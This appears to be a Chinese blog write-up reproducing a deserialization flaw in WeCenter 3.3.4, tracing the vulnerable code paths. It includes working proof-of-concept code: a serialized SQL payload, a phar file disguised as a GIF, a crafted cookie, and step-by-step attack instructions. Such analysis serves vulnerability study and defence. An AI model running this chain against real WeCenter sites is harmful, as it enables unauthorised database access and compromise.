前言
WeCenterv3.3.4前台SQL注入及前台RCE[复现]
参考文章:某Center v3.3.4 从前台反序列化任意SQL语句执行到前台RCE
漏洞分析
反序列化漏洞点
定位到漏洞文件./system/aws_model.inc.php
,这是一个数据库操作类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php class AWS_MODEL { ... private $_shutdown_query = array(); ... public function master() { if ($this->_current_db == 'master') { return $this; }
if (AWS_APP::config()->get('system')->debug) { $start_time = microtime(TRUE); }
AWS_APP::db('master');
if (AWS_APP::config()->get('system')->debug) { AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), 'Master DB Seleted'); }
return $this; } ... public function __destruct() { $this->master();
foreach ($this->_shutdown_query AS $key => $query) { $this->query($query); } } ... }
?>
|
我们看上述代码,看到__destruct()
魔术方法,该方法调用了$this->master()
,然后调用该对象的$this->_shutdown_query
,遍历这个数组(private $_shutdown_query = array();
),然后调用了$this->query
()函数
跟踪$this->query()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public function query($sql, $limit = null, $offset = null, $where = null) { $this->slave();
if (!$sql) { throw new Exception('Query was empty.'); }
if ($where) { $sql .= ' WHERE ' . $where; }
if ($limit) { $sql .= ' LIMIT ' . $limit; }
if ($offset) { $sql .= ' OFFSET ' . $offset; }
if (AWS_APP::config()->get('system')->debug) { $start_time = microtime(TRUE); }
try { $result = $this->db()->query($sql); } catch (Exception $e) { show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage()); }
if (AWS_APP::config()->get('system')->debug) { AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql); }
return $result; }
|
我们调用$query()
函数,然后在参数部分仅仅只有传入的字符$sql
这一个参数,未有任何处理,直接带入查询函数$result = $this->db()->query($sql);
,至此就可以执行任意SQL语句.
我们尝试构造exp,尝试触发一下试试.
1 2 3 4 5 6 7 8 9 10
| <?php class AWS_MODEL{ private $_shutdown_query = array();
public function __construct(){ $this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)'; } } echo base64_encode(serialize(new AWS_MODEL)); ?>
|
1
| Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e3M6NDoidGVzdCI7czo0ODoiU0VMRUNUIFVQREFURVhNTCgxLCBjb25jYXQoMHhhLCB1c2VyKCksIDB4YSksIDEpIjt9fQ==
|
小小的demo一下:在一个加载完所有类和各种自动机制完成的文件中手动写入一个触发点,用于验证.比如system/system.php
,正好是程序的入口.
验证一下:
可以看到反序列化后的AWS_MODEL类执行了上述的SQL语句.
反序列化漏洞触发点
重点学习一下作者的思路
触发反序列的主要思路:
1.unserialize($v)
在$v
可控的情况下可以进行反序列化.全局搜索/\bunserialize\((.*?)\$(.*?)\)/
,寻找可控变量….
2.利用phar反序列化
参考:
PHP反序列化入门之phar
利用 phar 拓展 php 反序列化漏洞攻击面
传入的phar文件,用phar伪协议解析文件,php底层会将phar文件中的meta-data
部分进行一次反序列化.如下:
利用条件:
受影响函数($v)
在$v
可控的情况下,传入phar
伪协议解析的文件即可完成反序列化.
受影响的函数:
利用正则全局搜索,寻找文件操作函数的可控参数的点.
1
| (fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)
|
定位文件models/account.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php public function associate_remote_avatar($uid, $headimgurl) { if (!$headimgurl) { return false; }
if (!$user_info = $this->get_user_info_by_uid($uid)) { return false; }
if ($user_info['avatar_file']) { return false; }
if (!$avatar_stream = file_get_contents($headimgurl)) { return false; } ....
|
其中的file_get_contents()
将传入一个没有任何处理的$headimgurl
.到这里我们的目的就是找到一个可控的$headimgurl
.
全局搜索->associate_remote_avatar(
跟踪至app/account/ajax.php
然后上述代码可以看到,这里的associate_remote_avatar()
是对$wxuser['headimgurl']
进行操作,而$wxuser的数据来自于对数据表aws_users_weixin
的操作.
所以目标成为了寻找一个对数据表aws_users_weixin
操作的函数
全局搜索users_weixin
,然后定位文件model/openid/wexin/weixin.php
其中有如下一段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| public function bind_account($access_user, $access_token, $uid, $is_ajax = false) { if (! $access_user['nickname']) { if ($is_ajax) { H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录'))); } else { H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录')); } }
if ($openid_info = $this->get_user_info_by_uid($uid)) { if ($openid_info['opendid'] != $access_user['openid']) { if ($is_ajax) { H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定'))); } else { H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定')); } }
return true; }
$this->insert('users_weixin', array( 'uid' => intval($uid), 'openid' => $access_token['openid'], 'expires_in' => (time() + $access_token['expires_in']), 'access_token' => $access_token['access_token'], 'refresh_token' => $access_token['refresh_token'], 'scope' => $access_token['scope'], 'headimgurl' => $access_user['headimgurl'], 'nickname' => $access_user['nickname'], 'sex' => $access_user['sex'], 'province' => $access_user['province'], 'city' => $access_user['city'], 'country' => $access_user['country'], 'add_time' => time() ));
return true; }
|
函数bind_account()
,其中的insert
有一个headimgurl
的可控点.
全局搜索这个函数,看看哪里调用了.定位文件app/m/weixin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function binding_action() { if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']) { $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); }
if ($WXConnect['access_token']['openid']) { $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);
HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);
if ($_GET['redirect']) { HTTP::redirect(base64_decode($_GET['redirect'])); } else { H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/'); } } else { H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']); } }
|
可以看到$WXConnect来自cookie进行json解码.完全可控.
构造$WXConnect
1 2 3 4 5 6 7 8 9
| <?php $arr = array(); $arr['access_token'] = array('openid' => '1'); $arr['access_user'] = array(); $arr['access_user']['openid'] = 1; $arr['access_user']['nickname'] = 'naiquan'; $arr['access_user']['headimgurl'] = 'phar://file_path'; echo json_encode($arr); ?>
|
完整的攻击过程:
1.注册账号
2.上传phar文件
3.访问app/m/weixin.php
的binding_action
,(将$headimgurl写入数据库中)
4.访问app/account/ajax.php
的synch_img_action
(触发反序列化漏洞)
POC
1.注册账号
2.生成phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class AWS_MODEL{ private $_shutdown_query = array();
public function __construct(){ $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)"; } } $a = new AWS_MODEL; $phar = new Phar("2.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."__HALT_COMPILER();"); $phar->setMetadata($a); $phar->addFromString("test.txt","123"); $phar->stopBuffering(); rename("2.phar","shell.gif"); ?>
|
3.上传phar文件
通过发起问题的编辑器上传图片至服务器,记下上传后的目录.
1
| /WeCenter/uploads/question/20200113/4e33eb66b015984a74356bcdee61bc06.gif
|
4.设置cookie,访问weixin.php
1 2 3 4 5 6 7 8 9
| <?php $arr = array(); $arr['access_token'] = array('openid' => '1'); $arr['access_user'] = array(); $arr['access_user']['openid'] = 1; $arr['access_user']['nickname'] = 'wuchenli'; $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200113/4e33eb66b015984a74356bcdee61bc06.gif'; echo json_encode($arr); ?>
|
1
| {"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"cookie","headimgurl":"phar:\/\/uploads\/question\/20200113\/4e33eb66b015984a74356bcdee61bc06.gif"}}
|
5.然后访问app/account/ajax.php
的synch_img_action
成功完成SQL注入